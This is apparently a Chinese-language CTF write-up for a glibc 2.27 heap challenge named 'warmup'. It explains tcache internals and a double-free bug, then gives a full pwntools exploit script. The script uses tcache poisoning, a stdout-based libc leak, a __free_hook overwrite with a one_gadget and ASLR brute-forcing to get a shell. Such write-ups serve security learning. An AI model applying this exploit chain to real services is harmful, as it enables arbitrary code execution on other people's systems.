0 文件
链接:https://pan.baidu.com/s/1H0Q9RTa5c7-jljZSmWfqPA
提取码:xg6n
- 理论
- tcache 有两个重要的结构体
tcache_entry和tcache_perthread_struct.
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
- 第一次调用
malloc时,会额外malloc一段空间用于存放tcache_perthread_struct.
以本题为例,TCACHE_MAX_BINS = 0x40, 第一次malloc之后的堆结构如下:
pwndbg> heap
0x555555757000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 0x251,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 0x411,
fd = 0x0,
bk = 0xa2e2e2e2e2e,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757660 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 0x209a1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
最下面那个 size = 0x209a1 的 chunk 是 top chunk, 中间那个 size = 0x411 的 chunk 便是第一次分配 chunk, 而最上面的那个 chunk 便是用来存放 tcache_perthread_struct 的, 这个 chunk 可用的 size 为 0x240, 前 0x40 个字节用于存放 char counts[TCACHE_MAX_BINS], 后面的 0x200 个字节存放 tcache_entry *entries[TCACHE_MAX_BINS].
- 漏洞点
void __cdecl delete()
{
int index; // [rsp+4h] [rbp-Ch]
printf("index:");
index = get_int();
if ( index >= 0 && index <= 9 )
{
// 如果 index 对应的 global_ptr[index] 为 0
if ( global_ptr[index] )
temp_ptr = (void *)global_ptr[index];
// 但 temp_ptr(全局变量) 不为 0
// 如果它是上次 delete 的残留, 便会造成 double free.
if ( temp_ptr )
{
free(temp_ptr);
global_ptr[index] = 0LL;
puts("done!");
}
else
{
puts("no such note!");
}
}
else
{
puts("invalid");
}
}
- 利用步骤
在本地调试时可以先关闭 ASLR, 此时从 gdb 中得知 tcache_perthread_struct 所在的 heap 的地址为 0x555555757000, IO_2_1_stdout 的地址为 0x7ffff7dd0760.
利用思路如下:
1. 利用 double free 篡改 fd, 使其指向 tcache_perthread_struct;
2. 在 tcache_perthread_struct 上再分配一个 chunk 后, 将 count 字段全改为 0xff, 把 tcache 填满, 此时再 free 就会进入 unsortedbin
3. unsortedbin 的 fd 会指向 (main_arena+96), 篡改这个地址的后 2 个字节使其指向 _IO_2_1_out_
4. 利用 _IO_2_1_out_ 泄漏 libcbase
具体细节:
add(p, "0")
delete(p, 0)
delete(p, 0) # double free
add(p, p16(0x7010)) # 篡改 fd, 使其指向 tcache_perthread_struct
add(p, "1")
add(p, p8(0xff)*0x40) # 修改 tcache_perthread_struct 的 counts 字段, 全部改满
delete(p, 2) # 此时 chunk2 会进入 unsortedbin, size=0x251
add(p, p8(1)*0x40) # 从 chunk2 中 malloc 一个 size=0x50 的 chunk, 将 tcache_perthread_struct 的 counts 字段全改为 1.
# 而且由于是从 chunk2 这个大的 chunk 切分出一个 size=0x50 的 chunk 的缘故, 刚好会把 tcache_perthread_struct
# 的 entry 字段中代表 size=0x50 的 entry 改成 0x7ffff7dcfca0 (main_arena+96)
delete(p, 0) # 将 chunk0 free 掉, 则 chunk0 会进入 tcache, 其 next 字段被改为 size=0x50 的 entry, 即 0x7ffff7dcfca0 (main_arena+96)
add(p, p16(0x0760)+'\xdd') # 篡改 next 字段, 使其指向 _IO_2_1_out_
add(p, "aaaa")
payload = p64(0xfbad1800) + p64(0)*3 + p8(0xc8) # 篡改 _IO_2_1_out_, 泄漏 _IO_2_1_stdin_ 的地址
add(p, payload)
stdin = u64(p.recv(6).ljust(8, '\x00'))
print("stdin_addr = " + hex(stdin))
libcbase = stdin-libc.symbols["_IO_2_1_stdin_"] # 计算 libcbase
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
# 使 free_hook 指向 one gadget
free_hook = libcbase + libc.symbols["__free_hook"]
delete(p, 0)
modify(p, 1, p64(free_hook))
add(p, "aaaa")
add(p, p64(one_gadget[1]+libcbase))
delete(p, 0)
p.interactive()
开启 ASLR 之后, tcache_perthread_struct 和 IO_2_1_stdout 的后 2 个字节中有半个字节是未知, 所以需要枚举一下.
- EXP
from pwn import *
import time
import random
context.terminal = ["tmux","splitw","-h"]
#context.log_level = "debug"
libc = ELF("./libc-2.27.so")
def choose(p, ind):
p.recv()
p.sendline(str(ind))
def add(p, content):
choose(p, 1)
p.recvuntil("content>>")
p.send(content)
def delete(p, ind):
choose(p, 2)
p.recvuntil("index:")
p.sendline(str(ind))
def modify(p, ind, content):
choose(p, 3)
p.recvuntil("index:")
p.sendline(str(ind))
p.recvuntil("content>>")
p.send(content)
def pwn(p, ad1, ad2):
add(p, "0") #0
#gdb.attach(p)
delete(p, 0) #0
delete(p, 0) #fake
# add(p, p16(0x7010))
add(p, p16(ad1)) #0
add(p, "1") #1
add(p, p8(0xff)*0x40) #2
delete(p, 2) #2
add(p, p8(1)*0x40) #2
delete(p, 0) #0
#modify(p, 1, p16(0x0760)+'\xdd') #1
modify(p, 1, p16(ad2))
add(p, "aaaa") #0
payload = p64(0xfbad1800) + p64(0)*3 + p8(0xc8)
add(p, payload) #3
stdin = u64(p.recv(6).ljust(8, '\x00'))
print("stdin_addr = " + hex(stdin))
libcbase = stdin-libc.symbols["_IO_2_1_stdin_"]
# stdin_addr = 0x7ffff7dcfa00
one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
free_hook = libcbase + libc.symbols["__free_hook"]
delete(p, 0) #0
modify(p, 1, p64(free_hook)) #1
add(p, "aaaa") #0
add(p, p64(one_gadget[1]+libcbase))
delete(p, 0)
p.sendline("ls")
p.interactive()
flag = True
while(flag):
flag = False
ad1 = (random.randint(0, 0xf)<<12) | 0x0010
ad2 = (random.randint(0, 0xf)<<12) | 0x0760
p = process("./warmup", env={"LD_PRELOAD": "libc-2.27.so"})
try:
pwn(p, ad1, ad2)
except Exception as e:
flag = True
print("try again.")
p.close()
print("success")